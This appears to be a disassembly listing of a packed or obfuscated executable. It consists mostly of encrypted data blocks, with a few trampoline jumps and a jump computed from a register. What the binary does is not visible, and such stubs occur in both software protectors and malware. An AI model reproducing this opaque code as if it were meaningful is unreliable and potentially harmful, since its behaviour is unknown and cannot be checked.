		dd 67944BB3h, 730657DAh, 0CC0EC3B3h, 0A3DC4353h, 0D4591D1Fh
		dd 0F7A747D8h, 0EA8CA335h, 149F43E8h, 0FC9ED2E1h, 156644BAh
		dd 1297A252h, 45357753h, 72527C82h, 0D2EE2836h,	739F0A6Ah
		dd 14E01E69h, 0E0668832h, 3172B363h, 409F636Bh,	8463C48Fh
		dd 1D8B4924h, 9461A1F3h, 4A6104D7h, 51839051h, 0E20A696Bh
		dd 15D812E7h, 14666233h, 0FC474FC7h, 1576616Fh,	0B8E4432h
		dd 0D11E862Dh, 0ACB9D274h, 9CC75B14h, 0FEE7A3E4h, 6174C03h
		dd 0AC37DA1Bh, 4016E714h, 1593ADB3h, 0DE6763CDh, 1568F86Bh
		dd 0C36E8832h, 2F23DA22h, 4C5CD5BDh, 0F6D5853Ch, 89B0DB9h
		dd 1C8F41CBh, 8E662232h, 268ED7B8h, 55279713h, 1567CB3Dh
		dd 9E9E2232h, 0EC78A0A7h, 15696137h, 81594432h,	995900h
		dd 641A1C6Dh, 2C017D83h, 14E94B9Fh, 0ED662232h,	0EA9D3EDBh
		dd 157661CDh, 0ED8A4432h, 0CD71659Ch, 404AF116h, 38923B45h
		dd 90A1FB8Dh, 1367FAF6h, 15661130h, 9EDDEC7h, 11A2C516h
		dd 0FC662232h, 1566113Dh, 225F89C3h, 0BC1441CCh, 0D835C47h
		dd 1AA1894Ah, 93698684h, 15664433h, 0ECE6DBC7h,	4CE51EB2h
		dd 0E9668832h, 4FB2AFB3h, 0FEE738A5h, 20840CE7h, 0D6E74333h
		dd 208459E7h, 4FB2E1B3h, 73060BA5h, 0E027B48Ah,	97DF1553h
		dd 94607775h, 402192C3h, 4CAD8934h, 156649DBh, 7304B032h
		dd 0F855C5AFh, 0D771696Ch, 9C8F93A6h, 1A662232h, 15661BB8h
		dd 15636132h, 0D1B34432h, 0E95AEFFFh, 3CD54262h, 95CA63B2h
		dd 0CDEEC6C1h, 4DA70A69h, 156E953Dh, 45068832h,	0B6D82268h
		dd 150E4316h, 3C661132h, 19EDAC3Eh, 11A2C516h, 1A662232h
		dd 156610B8h, 0AF347132h, 449C121Dh, 0F7A7F0C5h, 0EAA49237h
		dd 2C667AB3h, 0C4478487h, 1572CB68h, 98A1132h, 24228B79h
		dd 0CA1624D3h, 89C4AAFEh, 6E1A1E62h, 0FEE724E3h, 5C2A2BFFh
		dd 0AA31E91Bh, 5C2A7EFFh, 0ED397333h, 89BC1B9h,	440627CBh
		dd 9E074ACBh, 0EC7839A7h, 1568AD37h, 0CE5C2232h, 0C67479EAh
		dd 758576DFh, 965F3110h, 350F9FB1h, 1A6714CBh, 0EA910DB6h
		dd 6E44BCDh, 0FC662232h, 1566113Ch, 0E0CAB7B0h,	245C5BC6h
		dd 0A838732Dh, 0CD5D2BBBh, 155B0A3Dh, 1D8F4432h, 0F9662232h
		dd 0A30D8452h, 2C14FD47h, 0A2E04BE1h, 0FC99DDDEh, 1566113Fh
		dd 6351294Bh, 885C0780h, 6A480372h, 1577F863h, 3A748832h
		dd 40F60EC0h, 87AE69C1h, 71891F90h, 421F8903h, 1566458Dh
		dd 4A980B32h, 28979C7h,	21EF8832h, 1A9A1D16h, 156636B3h
		dd 1569F832h, 72448832h, 87E49E5Eh, 230BF016h, 325B1FD2h
		dd 44A709DAh, 3C648407h, 44D874CBh, 3C64D107h, 1C8FD6C3h
		dd 39664432h, 0EC51C8EBh, 6D8F7515h, 156264B3h,	21EF4432h
		dd 15639C16h, 0E44F1132h, 3E0876Ch, 1A664432h, 156632BDh
		dd 156DF832h, 154F8832h, 0F99370E7h, 162CB560h,	118A9247h
		dd 0A44284BBh, 4CAECCDBh, 156BAD3Dh, 1D8F1132h,	0F9668832h
		dd 0A30DD152h, 0BF145747h, 24AE20C7h, 0FCAEB9F3h, 15664421h
		dd 73B55F81h, 0AF25239Eh, 32ABAEF9h, 0AB7BE7CAh, 0FCF3F586h
		dd 15661126h, 0CC6EEAA6h, 58135A2Ch, 21139D71h,	0EFDC61E7h
		dd 967B6EE6h, 156EAD99h, 9B8B2232h, 0B88EC124h,	0C68F21AFh
		dd 7599BBFDh, 15DC7053h, 94661132h, 3B3805D8h, 9494451Ch
		dd 3B38AFF0h, 4F649B1Ch, 1571033Dh, 78F4432h, 6C662232h
		dd 8E45955Eh, 0B1535609h, 395D75ACh, 28431554h,	1A8E2D3Eh
		dd 1566B0B6h, 0B20EBD32h, 9C662210h, 15D83506h,	9C668832h
		dd 0FC061AC2h, 15662226h, 47322967h, 0A7950E7Dh, 0E7FD680Ch
		dd 0FF31C32Ch, 4AAE1F77h, 908259B3h, 0FC076E69h, 15662357h
		dd 7A7879C7h, 9EF8832h,	0F9E5BC16h, 3152AB36h, 0AD36E469h
		dd 15668833h, 7D10EB37h, 3896236Ch, 4B0E679Dh, 0EC3E9031h
		dd 1563FB65h, 0EE672232h, 94422DB9h, 15668CF6h,	1DE24B32h
		dd 1A662232h, 156613B9h, 4407E832h, 9D35AC83h, 4E9EAAFDh
		dd 19E61E6Bh, 75668832h, 53ABCD88h, 0FCE7445Eh,	0FC07C9C2h
		dd 1566883Fh, 404444D2h, 74AF283Fh, 0C917500Ch,	90692262h
		dd 15664424h, 156633DBh, 0D264FE32h, 1467A1DBh,	0E7C7BE9Bh
		dd 33D29DCEh, 108FF512h, 0E2668832h, 825F6537h,	5704E1B3h
		dd 0EE4F46F3h, 57043163h, 0DE4F13F3h, 0AB30DE6Bh, 15661136h
		dd 21ED7B1Bh, 11A2C516h, 0E9662232h, 0D657C903h, 45065003h
		dd 0A5A6668Dh, 0AA69793Ah, 1ACD70CAh, 15668FBAh, 73932432h
		dd 74DBFB89h, 44420DB9h, 0D4E769BBh, 15664436h,	9262E3B1h
		dd 1A3A353Eh, 156698B5h, 156DAD32h, 8FC2232h, 3442261Dh
		dd 10DD3118h, 10DC161Fh, 14662232h, 31729AE4h, 15624CB3h
		dd 1A064432h, 156620BDh, 95077132h, 7D07E8EBh, 15664433h
		dd 964226B9h, 78F15F6h,	0C9668832h, 0A632D3FEh,	5CC9DA11h
		dd 0EC05CA71h, 4CE93449h, 3E64B3Bh, 0FC662232h,	15661123h
		dd 90647D98h, 5791C38Dh, 0C89CDF54h, 25943CCBh,	198F4B84h
		dd 31664432h, 6214B153h, 1E8DE344h, 46D53269h, 0D6E7A7BBh
		dd 15662236h, 9262FAB1h, 9C3AAC2Eh, 9B69603Eh, 1566223Ah
		dd 6BD97752h, 74AC3C5Ah, 7350BB54h, 38420EB3h, 433E7716h
		dd 53FC3654h, 1D808554h
		dd 0DAA8A354h, 0E3E7771Bh, 0E200D852h, 732822E4h, 0E544CCB3h
		dd 4B961054h, 156E063Dh, 73064432h, 42BEC18Bh, 0D65A7069h
		dd 14470C3Dh, 128F4432h, 0CD662232h, 6F66D90Bh,	0DE5AC721h
		dd 146BC03Dh, 9E692232h, 15661133h, 1AA4B4CAh, 156752B6h
		dd 0DF5AD732h, 146B953Dh, 1F8F8832h, 0FD664432h, 79371F9Ah
		dd 1136DA2Eh, 0EA5BEE27h, 35E24B17h, 0FC662233h, 1566113Ah
		dd 0A4B57E2Ah, 72A9DF35h, 156FA33Dh, 0AC061132h, 284CD0E9h
		dd 73079EB9h, 1A990C0Fh, 156672B7h, 0F9E57132h,	3172CD36h
		dd 15662088h, 9F941032h, 0A506D230h, 156BAD3Dh,	0C0EC2232h
		dd 1F4D9144h, 331B2495h, 7466A6EDh, 1549545Ah, 317A9832h
		dd 0CE909981h, 3579B7B2h, 940679EAh, 5A1405C4h,	0F4E7EE35h
		dd 29077809h, 0C1E22D92h, 0FC661132h, 15668822h, 446FD0FEh
		dd 0D0A4F32h, 0F26324ABh, 0FC976A44h, 434248B9h, 0D3E7C4BBh
		dd 15661136h, 15624EB3h, 21E14432h, 138F7E16h, 0D6661132h
		dd 0D18D1DD2h, 0C20E1139h, 4873907Ah, 640DE4B3h, 0E0E79744h
		dd 1FA27D8Eh, 753B7A67h, 73B7AE3Dh, 2C4642B3h, 144CAD53h
		dd 0AB062232h, 731FCEBCh, 9EB10252h, 240725EBh,	9E9A42FBh
		dd 963770C1h, 4C67AC36h, 1508ADCAh, 0EC062232h,	4607E080h
		dd 94040F89h, 0AB300F09h, 2EE740B1h, 9C38E21Bh,	1A06D3EBh
		dd 156646B4h, 0A43E7232h, 950670FAh, 0FC07BFF0h, 15664472h
		dd 4607DE52h, 0DD5B2C89h, 4EBF010Fh, 2196A5B3h,	0D4E77C7Bh
		dd 1EAA3D54h, 75F661B3h, 0FC9A6C26h, 1566222Eh,	1567993Dh
		dd 7D9A8832h, 15664435h, 94422EB9h, 156615F6h, 14E48732h
		dd 0E0664432h, 9E9E86C1h, 0EC78A0BFh, 1A9AE837h, 156645B8h
		dd 9007DA32h, 3FE31EFBh, 75668832h, 15EC4B52h, 1A662232h
		dd 156611B1h, 9E00E932h, 0A0EF25F5h, 109F3C83h,	15661DDBh
		dd 99D13832h, 1414694Bh, 1E96306h, 3152EE02h, 11A2096Bh
		dd 0E0664432h, 9E1A698Ah, 1D86D038h, 82192317h,	47B6B355h
		dd 3A711588h, 8BA49072h, 14476C0Eh, 38631EE2h, 75C722C5h
		dd 4ECAA954h, 156687DAh, 83027A32h, 5742A09Eh, 1659EEB7h
		dd 2C5B08EAh, 1A071BCEh, 156625B3h, 14E01E32h, 0E9668832h
		dd 14E64BF1h, 0E0662232h, 7350EE54h, 96428CB9h,	1C8F46F6h
		dd 0F662232h, 82277DD6h, 0F2C33741h, 9169870Eh,	156623A6h
		dd 9D3540CEh, 4E9B00F5h, 0ED3FAFBAh, 0D58F9662h, 0F9A619D6h
		dd 0A235EE31h, 739A74C2h, 4D850269h, 659D91CAh,	16E20C3Dh
		dd 90694432h, 15662223h, 15661DDBh, 0E957D132h,	0B5A72856h
		dd 0FA634F09h, 1A8F2DC7h, 1567C3B6h, 1569AD32h,	0CD6D2232h
		dd 5ECD500Ah, 782D7EB2h, 0B83CEA67h, 1A8D1EF5h,	15673EB6h
		dd 156E6132h, 4934432h,	66174C81h, 0D75A5B63h, 147C0C3Dh
		dd 299E4432h, 4E22DF9h,	75661133h, 32D03654h, 156CAD53h
		dd 0FC592232h, 0D12FB7C3h, 0AD33B773h, 30997954h, 1594A63Dh
		dd 0FC9E1132h, 15668835h, 319A3553h, 29269526h,	0C8E21EF8h
		dd 0FC668832h, 15664434h, 27BB7F13h, 0F65AC178h, 17820C3Dh
		dd 138F4432h, 0E3662232h, 0EF1A1188h, 3B5BEE34h, 7CE34BCDh
		dd 0ED662232h, 17D84761h, 9C668832h, 0E6671AC1h, 1A3D21B8h
		dd 156631B1h, 0FCE7E832h, 11568F26h, 156631DBh,	0DBA53632h
		dd 401058D6h, 9E18670Bh, 20762EFh, 93C75770h, 0E1D3D953h
		dd 0D5EAA9B2h, 0E0E624D7h, 9E8E31C2h, 0D1E7AC3Eh, 15664436h
		dd 1AC61ECBh, 15664EB6h, 15686132h, 0D7B54432h,	790816CAh
		dd 0F2488821h, 6C8A02ABh, 1562A8B3h, 29EF2232h,	10C3AE16h
		dd 9421C74Dh, 285E83F5h, 1081E33Eh, 553DE6B3h, 0E2E7B233h
		dd 58E0C9C9h, 1A39DABBh, 156610BEh, 128F7132h, 64664432h
		dd 44D7FFDh, 428F481Bh,	1A668832h, 156643BFh, 14E42D32h
		dd 0E9661132h, 0BD73DBBh, 989A41CBh, 152C11AFh,	4EA1E34h
		dd 0FC668832h, 1566443Eh, 990F2003h, 46FA8279h,	0FC14CD14h
		dd 986997CDh, 15662237h, 0EED11E52h, 1567E053h,	11ED4432h
		dd 11A2A116h, 156E953Dh, 9A698832h, 15664430h, 0FCA54352h
		dd 15661122h, 8FC97BCBh, 0B29116BEh, 26EC7401h,	20A9C8F9h
		dd 94830167h, 156640F7h, 118BA332h, 92661132h, 9C3AAC1Eh
		dd 44936036h, 1566328Bh, 9E971032h, 316A0333h, 156280B3h
		dd 58F2232h, 9D661132h,	0A99C5A19h, 3A01BF2Eh, 0B2FFD803h
		dd 9C7E3D47h, 0EC4E1DB7h, 1EE94B37h, 0FC662232h, 15661134h
		dd 8A41629Bh, 7306BE36h, 9E07FAB9h, 9C333536h, 11A309D7h
		dd 94664432h, 156626F7h, 314A9632h, 0F9E7716Eh,	15664436h
		dd 0A8420EBBh, 1566112Eh, 0FC3B6633h, 1566443Bh, 0FE9B933Bh
		dd 0DF56A71Eh, 0F4DB0556h, 1A63BD18h, 156623B9h, 0FCCBE832h
		dd 15668834h, 4E3CE003h, 0A86303F9h, 160CEB6Ch,	4742AC76h
		dd 9205A588h, 4994A335h, 3C0B6C0Fh, 7306D2E2h, 3605A3B3h
		dd 1F8F8953h, 0E8661132h, 8E36A015h, 90E4664h, 14DBAFD5h
		dd 0FC63E81Ch, 15668839h, 2A557A71h, 5B148A65h,	0B8678124h
		dd 4F663352h, 38073400h, 7D8568B7h, 41573737h, 31228B75h
		dd 24406916h, 90636566h, 0FC0EF278h, 15668826h,	0D85D84A7h
		dd 0CA4B3658h, 50D942D1h, 3E6CDFB3h, 0A0982366h, 9481AB65h
		dd 156615F5h, 11890932h, 92664432h, 9C3A060Eh, 0BE9F3536h
		dd 156682DBh, 26119132h, 0B0C00714h, 982A485Ah,	0EC7C0D8Fh
		dd 14E14B37h, 0EC662232h, 0CE61E9Fh, 0FC668832h, 15664426h
		dd 0B23BD155h, 6A21174Bh, 8B12C782h, 6DEAEC33h,	0E22A24AEh
		dd 0F62AE1Fh, 639FA528h, 51650545h, 0EC630A16h,	10276644h
		dd 0F7C8C8Dh, 75BBCE52h, 95AD9D3Dh, 740747F5h, 10EF8799h
		dd 75664432h, 749EE4B9h, 4B4225CDh, 0ED624CB1h,	9E0024F1h
		dd 8B0E43C3h, 9C66116Eh, 9369AC06h, 15664433h, 42FBAFCAh
		dd 1A60117Bh, 156681BAh, 0EDDC2432h, 9E770F62h,	0C69970C1h
		dd 156B6152h, 0F6DB4432h, 2DCE1FDBh, 20399C03h,	73CD9E59h
		dd 0F35C97B3h, 0E830CB53h, 68FEECDh, 0CD668832h, 71EB6D7h
		dd 6F06A9F1h, 92E28141h, 775990D0h, 0CEDFCCA3h,	0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 44BEBFC0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 438B3AF5h, 0E232DCF1h, 0BA8C141Ah
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 5587BE38h
		dd 0DF07462Ch, 52A96114h, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 6A718FA7h, 0D9FB57A3h, 44BAA3B0h,	0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 5332DCAAh,	168C141Ah
		dd 641ECB2Fh, 9675132Bh, 0BD54142Bh, 458A152Ah,	0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 348D8D00h, 6A060136h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0B9E4C350h, 7A8B22Dh, 0DE9h,	0C69E7300h, 0D31BF1A4h
		dd 0A9208144h, 8D8958EBh, 5F90CDDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0C8C35343h,	814103F6h, 0BA845AEBh
		dd 0C71CB43Eh, 0F926C185h, 6FE805h, 0E5BD8B00h,	0C705F933h
		dd 0F900FD85h, 5, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0B8315DADh
		dd 0FF51ECA2h, 0F91771B5h, 66C08005h, 20D595FFh, 665205F9h
		dd 0F5FFD881h, 0FF006A5Ah, 0F91AED95h, 0EBC08B05h, 5F5BF78h
		dd 0EAF651A7h, 7DE742FEh, 0A050E7FFh, 0A2D97430h, 0D4532A43h
		dd 7EB6C2D9h, 6EFE5EA0h, 0B8A62ED6h, 0E852B41h,	87439508h
		dd 921B2A3Bh, 4608C923h, 0BCACD8CFh, 141E2FCEh,	5EE902B1h
		dd 8355FA45h, 0A4F305E9h, 0DB03CB8Bh, 32565DB9h, 638AAEEBh
		dd 7D4D1AECh, 38BF473Ah, 3C56D5B1h, 6F50B579h, 0A643A7EDh
		dd 325652A1h, 0B30C5DB1h, 322E275Bh, 53AA37B7h,	32572BBEh
		dd 0E983D5B1h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 9EBD17FBh
		dd 0D525FB7Bh, 0ADFDF53Fh, 9174DCC9h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 55987C27h, 0A073FC58h,	8354C7FFh
		dd 0A4F305E9h, 0BD8DDB8Bh, 601D8C8h, 61F98D8Dh,	44B80602h
		dd 2B321566h, 2E9C1CFh,	0C8D00731h, 4904C783h, 0AE9F675h
		dd 86000000h, 3A5480F9h, 42FB1998h, 8060F9C2h, 890F03C2h
		dd 6, 840Fh, 83610000h,	0C8904ECh, 89C18924h, 8B6059C8h
		dd 0BD8361D8h, 5F931C9h, 83097500h, 0F912B5BDh,	19740005h
		dd 0C08B5350h, 411B8h, 0DD858900h, 8D05F915h, 0FBF3EB9Dh
		dd 5BD3FF05h, 0B5BD8358h, 5F912h, 53501774h, 411B8h, 0DD858900h
		dd 8D05F915h, 0FBF08C9Dh, 5BD3FF05h, 81666058h,	0F10CECBh
		dd 28Eh, 612CB400h, 48B50F8h, 4C48324h,	8E9h, 0AD67D900h
		dd 0A0A62612h, 19E9F8B6h, 0C8000000h, 2ABAD4h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_6021D3
; ---------------------------------------------------------------------------
		push	60266B7h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6026766h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6026942h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 3Ah
		dd 23C27A97h, 45B054BBh, 19BC60A3h, 48AF55B0h, 63C163A4h
		dd 0BE49712Eh, 8E7D5F86h, 0BD4C6F56h, 8E7F6087h, 90CB6C56h
		dd 239420EDh, 53C056Ah,	94202356h, 53E3A023h, 0A7608CEDh
		dd 819C4126h, 9685A7D2h, 0B2772429h, 0BA4B7087h, 0C47D9A94h
		dd 9685E697h, 90A66329h, 0E11842D4h, 0CC3B9F18h, 7A0310C9h
		dd 0F7299685h, 0C47E40Ah, 2F8FB0BEh, 83F625DCh,	239D5Ah
		dd 2E0BF303h, 487F4DA6h, 0AD4EAC28h, 239C8CCCh,	6C955C49h
		dd 8CF38695h, 9670239Ch, 311193A4h, 0FC12D79Dh,	4D1960E3h
		dd 3FF8239Dh, 0AF516B8h, 0F41323E0h, 0FAF48E6h,	0E3DC8D00h
		dd 0CB9E0FF6h, 650AE62Bh, 62CB48D6h, 1D000004h,	0A630A7F1h
		dd 7896C57Ch, 62F8F9Eh,	0B439D4F9h, 0CA951E5h, 9D6D2E4Fh
		dd 33FEAB23h, 0D3B5391Ah, 7C832102h, 423ABB54h,	9610A855h
		dd 95B97036h, 0DE035FC9h, 311D513Dh, 0F8D8DF2Ch, 0F1C39617h
		dd 9FCFB954h, 0A951E517h, 0C730F9FCh, 20FACA26h, 0FD252773h
		dd 46E8C134h, 0AB568C1Ah, 8C60A914h, 9EA56E4Ch,	37F41A95h
		dd 387FC71Ch, 568B7826h, 7A998469h, 1A460AFFh, 0F9848F7Ch
		dd 761A460Ah, 7A994089h, 1A460AFFh, 924A7F7Ch, 6D518A33h
		dd 0B37E2BA2h, 75E6C268h, 0C8ADC6BBh, 493h, 0E517FAD5h
		dd 0B31DE02h, 0DF05FEECh, 0A32D3F8h, 0D408FFEBh, 2894C33Eh
		dd 349A3DDFh, 1BC225D7h, 2E8F36EEh, 0E2973DDFh,	941F4831h
		dd 6020C523h, 95E873CEh, 12299685h, 0F3650115h,	8CC772A7h
		dd 299685F1h, 0E792C16Eh, 64299685h, 4FDC72B7h,	98EACFC4h
		dd 0BE63202Fh, 943C9941h, 0DCF5997Bh, 46325CBEh, 47B0598Bh
		dd 0BA6F66A5h, 75755594h, 2E977F6Ch, 6A6BA617h,	769738BFh
		dd 3542AA7Fh, 7B053048h, 5A1A2DC1h, 1C23946Bh, 0D04DA1B8h
		dd 7BF05971h, 15F1C399h, 0CB42BF5h, 37D79203h, 25F617B8h
		dd 0B227ED77h, 0E47F668Fh, 26000003h, 379E46CBh, 21C47897h
		dd 2D984CB7h, 24C3798Ch, 97AD4FB8h, 8A7D5D1Ah, 0C2497352h
		dd 0F910BB1Ah, 0D23BA443h, 64EFC82Ah, 23941E19h, 0FF8F3196h
		dd 0EF431469h, 0D0DE5A7Eh, 6033E019h, 0EC2F9823h, 59730615h
		dd 1F02393h, 0EBBE2FDAh, 3BE81026h, 596C09BAh, 0C44B2393h
		dd 38F4D896h, 0B03DC12Eh, 0A23ED363h, 634B2CBCh, 2A5h
		dd 78638CC5h, 0B45FB556h, 6A4193DCh, 9A5F569Bh,	2DB85032h
		dd 0EBFA73B1h, 0A6102AA2h, 10DF6FBAh, 0BC3641AFh, 0F5504655h
		dd 7458F6C0h, 5E93868Bh, 2A3D31A3h, 8016BA66h, 294C46Eh
		dd 0F6522BE8h, 0D2CF2995h, 0F5D5E217h, 28CE9B12h, 27F2500Bh
		dd 6E52F8Fh, 10BB24E9h,	0EC25F4F9h, 11B740E9h, 82EFBF2h
		dd 9CC43045h, 0EAF80F23h, 0D698401Ch, 0D2ED1448h, 7D001BE8h
		dd 0FA239CBCh, 543DE90Dh, 7000000h, 0DBFF69FFh,	0BF36D3FAh
		dd 0FBAE1FEAh, 0C6F40B36h, 0FF1C193Dh, 2F8F982Fh, 0A1758F85h
		dd 4A3CD072h, 5E4F4CA4h, 9D1CC0B5h, 359C3E23h, 0AE7B7295h
		dd 8CC77263h, 239D1CF1h, 0AA46B16Eh, 4A7F8633h,	0F1DDDA43h
		dd 0EEFC132Dh, 0D6344418h, 0F60148h, 0CEE30000h, 6C828D31h
		dd 4F7B607Dh, 7B7C71B8h, 462F9B4Fh, 0E325CBA8h,	0E40CF32Eh
		dd 0D5E20B2Bh, 0D9A015F8h, 0F6EF01DEh, 5D0731C7h, 0D48508C1h
		dd 30AB342h, 85F823DEh,	229960Dh, 0FC47F105h, 2996125Bh
		dd 974DC01Dh, 83D035A3h, 0E81BDE15h, 60578247h,	8B9E6C7Ah
		dd 133EF98Bh, 46FB38DEh, 58010DCEh, 0EAEB2C4Eh,	11FF454Dh
		dd 0AB9EB079h, 2F91D2BFh, 837CA562h, 1B699357h,	7B93C256h
		dd 14F8423Ch, 70B9501Dh, 14C129CCh, 48935EA7h, 0B1D9EB0Eh
		dd 8ECF9FAh, 4A000002h,	13B26AA7h, 15C064ABh, 49AC50B3h
		dd 18BF65A0h, 93B153B4h, 8E79611Eh, 0BE4D6F56h,	8D7C5F86h
		dd 0BE4F7057h, 809B5C86h, 23941CFDh, 0CE33D57Ah, 0C818C31h
		dd 8C79625Dh, 2FBE5009h, 3AC57C8Bh, 56E07693h, 0B2CB88B1h
		dd 2F299685h, 0B00DDC72h, 8A82A75Dh, 33D40B19h,	350B2B8Fh
		dd 23AA638Ch, 0C7729B44h, 8598E172h, 0AC0E2996h, 23835657h
		dd 0AB688E66h, 2107D785h, 0A137230Dh, 9437C079h, 8A3D685h
		dd 63202996h, 857227AEh, 7A2FA669h, 15A257D4h, 89BC52B5h
		dd 2F8F57D4h, 854950C4h, 0B88C1E18h, 4E6F5E96h,	0E8CF0ABFh
		dd 20EBD104h, 0C918FCADh, 3739E811h, 0F053CF5h,	0E0A9CDDh
		dd 48F20455h, 789EEDDFh, 0D7C5FF8Dh, 37D712F1h,	9CA66514h
		dd 0E1FAE323h, 0CC9D10FBh, 0A6730615h, 33F0239Ch, 5DFE43FEh
		dd 239CA61Ch, 0F04AEC99h, 9105E505h, 0BDDD4A46h, 3AC57CB5h
		dd 49295C96h, 0E8C6CE28h, 4E0DAC21h, 239CA72Bh,	2036FBA8h
		dd 339522C7h, 0FF1CDDD0h, 239CA77Eh, 33C30EFBh,	0E2C2h
		dd 0DD00F700h, 5300A92Ch, 239CA72Ah, 1F2FFAA7h,	8B31CE19h
		dd 0BA5C0D80h, 80C538AEh, 0CB72DBD2h, 490A2FFAh, 2F98E042h
		dd 8DF02BD6h, 0A239416h, 401F91Dh, 0D449A691h, 94163647h
		dd 3BF6B323h, 5D203B06h, 0DA239416h, 0FB08B22Dh, 0D9F6E15Bh
		dd 0C8F20D34h, 41D21B3Bh, 504CCF07h, 870EFDDFh,	2F993CA0h
		dd 0C108E1D4h, 8FFEBCCh, 7A243205h, 500B36F3h, 0F6DB5D2Dh
		dd 0DBD239A3h, 4BEB980Eh, 0F700AEBCh, 0EABF36D5h, 0C548A544h
		dd 0F617B81Fh, 15D3F8FFh, 0DADD30DEh, 5A5B96B9h, 0A5B68BB0h
		dd 0F6DAA9D4h, 43C25451h, 55B81517h, 0A4AF8AAFh, 0F6DAA9D9h
		dd 3BE28C56h, 1AC0F20Fh, 0FB03FCFh, 5DFE43FEh, 0F6DAB11Ch
		dd 0A14AEC99h, 1294h, 73CEEC00h, 25A8618Ch, 8596E774h
		dd 16132996h, 8CCE7400h, 3E29AC65h, 7E696CA1h, 4423AA5Fh
		dd 7B7C719Ah, 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh
		dd 1BCCC14Eh, 361468h, 24248900h, 4B850h, 44010000h, 68580424h
		dd 539Ah, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 2C895C24h, 0BE565124h, 5B6E1E15h, 0C15EF189h, 0F18107E1h
		dd 0B10D6FD2h, 5459CF89h, 83242C8Bh, 575104C4h,	84D8959h
		dd 2434FF59h, 4C4835Dh,	50243C8Bh, 405E089h, 83000000h
		dd 48704C0h, 2BE95C24h,	0DEFFF713h
		db 1Bh,	26h, 1Dh
; ---------------------------------------------------------------------------


loc_6021D3:				; CODE XREF: .XComp0:00601B1Cj
		mov	eax, 6026B6Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
aKUcsUJ3	db 'k²“cSÉ<,',7,'U',0Bh,'jÝ3´',0
		dd 676B9424h, 7D957257h, 1FEBE937h, 10D4225Ch, 13A9814Ch
		dd 0CBA58C5h, 607A8AE2h, 0EDE9h, 8C666000h, 0F04A8D8h
		dd 0DF84h, 21B58B00h, 8305F917h, 850F00FEh, 22h, 189985C6h
		dd 684505F9h, 8E726969h, 2719B5FFh, 858D05F9h, 5FCC510h
		dd 8589D0FFh, 5F90769h,	3E80F08Bh, 31850FE9h, 8D000000h
		dd 0FEEF2F85h, 8BD0FF05h, 0F90569BDh, 84C78105h, 8B000011h
		dd 0F91721B5h, 0B9F78705h, 8, 0B58BA4F3h, 5F91721h, 8824858Dh
		dd 0D0FF05FDh, 28F5B58Bh, 0FE8305F9h, 22850F00h, 0C6000000h
		dd 0F9189985h, 0F4685405h, 0FFFF4EBEh, 0F92719B5h, 10858D05h
		dd 0FF05FCC5h, 0F58589D0h, 8B05F928h, 0E93E80F0h, 3A850Fh
		dd 0B58B0000h, 5F928F5h, 0EF2F858Dh, 0D0FF05FEh, 569BD8Bh
		dd 0C78105F9h, 1184h, 8B08C783h, 0F928F5B5h, 0B9F78705h
		dd 8, 0B58BA4F3h, 5F928F5h, 8824858Dh, 0D0FF05FDh, 858DC361h
		dd 6026C20h, 2DE58589h,	0BE805F9h, 57000000h, 8593A209h
		dd 8E15ECE6h, 9E85A4Eh,	0FE000000h, 6A4CAB04h, 7913F1Dh
		dd 830F50h, 5E000000h, 0B9665A5Eh, 0C2819467h, 740Ah, 2BFAB70Fh
		dd 21C8BC0h, 0FEF18166h, 79EB8144h, 6673ECD6h, 811BF6BEh
		dd 85FFFBEBh, 9E918h, 0FBF10000h, 0B21CE53Ah, 81CD8681h
		dd 0F2A8E2F3h, 0CCF68106h, 53108D60h, 13E9h, 0C1EE2500h
		dd 0D7E8DA52h, 0C27A19E9h, 624E4659h, 74D8878Ah, 0F02048Fh
		dd 58Ch, 0B978BE00h, 0E8830350h, 13E95301h, 0C6000000h
		dd 51686D84h, 0C1C92AD1h, 4622C31Bh, 0D08C8001h, 4859FBCEh
		dd 8B664848h, 0BCF881F3h, 0FFFFF8Ch, 0FFFF7885h, 0BE9FFh
		dd 0EBF70000h, 0B9D7381Eh, 25150DEEh, 11E953h, 3E8F0000h
		dd 0CB0h, 2 dup(0)
		dd 0E9000000h, 742h, 79AB6689h,	679D724Eh, 73A95A80h, 669E6754h
		dd 78AC5B7Fh, 9438679Ah, 0C826D173h, 9736A143h,	0C22BCA72h
		dd 8E2B994Bh, 9417ACCDh, 4C42923h, 6FAA638Ch, 32A36488h
		dd 290ED777h, 379E46C1h, 0B3767796h, 0D5489E4Ch, 0EDB584F0h
		dd 54058841h, 838A33C2h, 6D506712h, 537B7A9Ch, 0D3A439BCh
		dd 0C548A587h, 0F415B81Fh, 9146A550h, 0A32ADF2Ah, 48F11AC4h
		dd 0D1762F1h, 0E7942996h, 3FFC9E47h, 63F314B8h,	17B6B6A4h
		dd 0AB047F2h, 3EDB55F9h, 0D255803h, 0E5A22996h,	9E3DA251h
		dd 9104CD42h, 770211E8h, 0F429960Dh, 1664E707h,	9229960Dh
		dd 0BECE12Eh, 37A627DEh, 7C4C1240h, 9F513521h, 584D2F25h
